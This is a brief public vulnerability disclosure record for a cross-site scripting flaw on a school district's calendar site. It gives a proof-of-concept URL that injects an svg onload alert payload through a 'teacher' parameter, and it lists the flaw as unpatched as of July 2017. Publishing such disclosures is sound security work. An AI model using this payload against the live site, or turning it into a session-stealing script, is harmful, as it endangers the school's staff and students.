cal.shorelineschools.org XSS vulnerability

Vulnerable URL: http://cal.shorelineschools.org/default.php?teacher=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...